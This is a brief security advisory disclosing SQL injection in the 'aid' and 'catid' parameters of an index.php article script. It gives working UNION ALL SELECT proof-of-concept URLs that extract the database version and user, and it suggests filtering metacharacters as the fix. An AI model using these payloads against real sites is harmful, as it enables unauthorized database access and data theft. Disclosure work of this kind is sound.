SQL Injection
-------------
An attacker may execute arbitrary SQL statements on the vulnerable
system. This may compromise the integrity of your database and/or
expose sensitive information. Vulnerable variables are $aid and $catid
on index.php file.

Proof of Concept:
index.php?menu=showarticle&aid=[SQL INJECTION]
index.php?menu=showarticle&aid=-3 UNION ALL SELECT 1,@@version,3,4,5,user(),7

index.php?menu=showcat&catid=[SQL INJECTION]
index.php?menu=showcat&catid=-3 UNION ALL SELECT 1,@@version


Solution:

Your script should filter metacharacters from user input.


Vendor contacted but I'm waiting for reply.
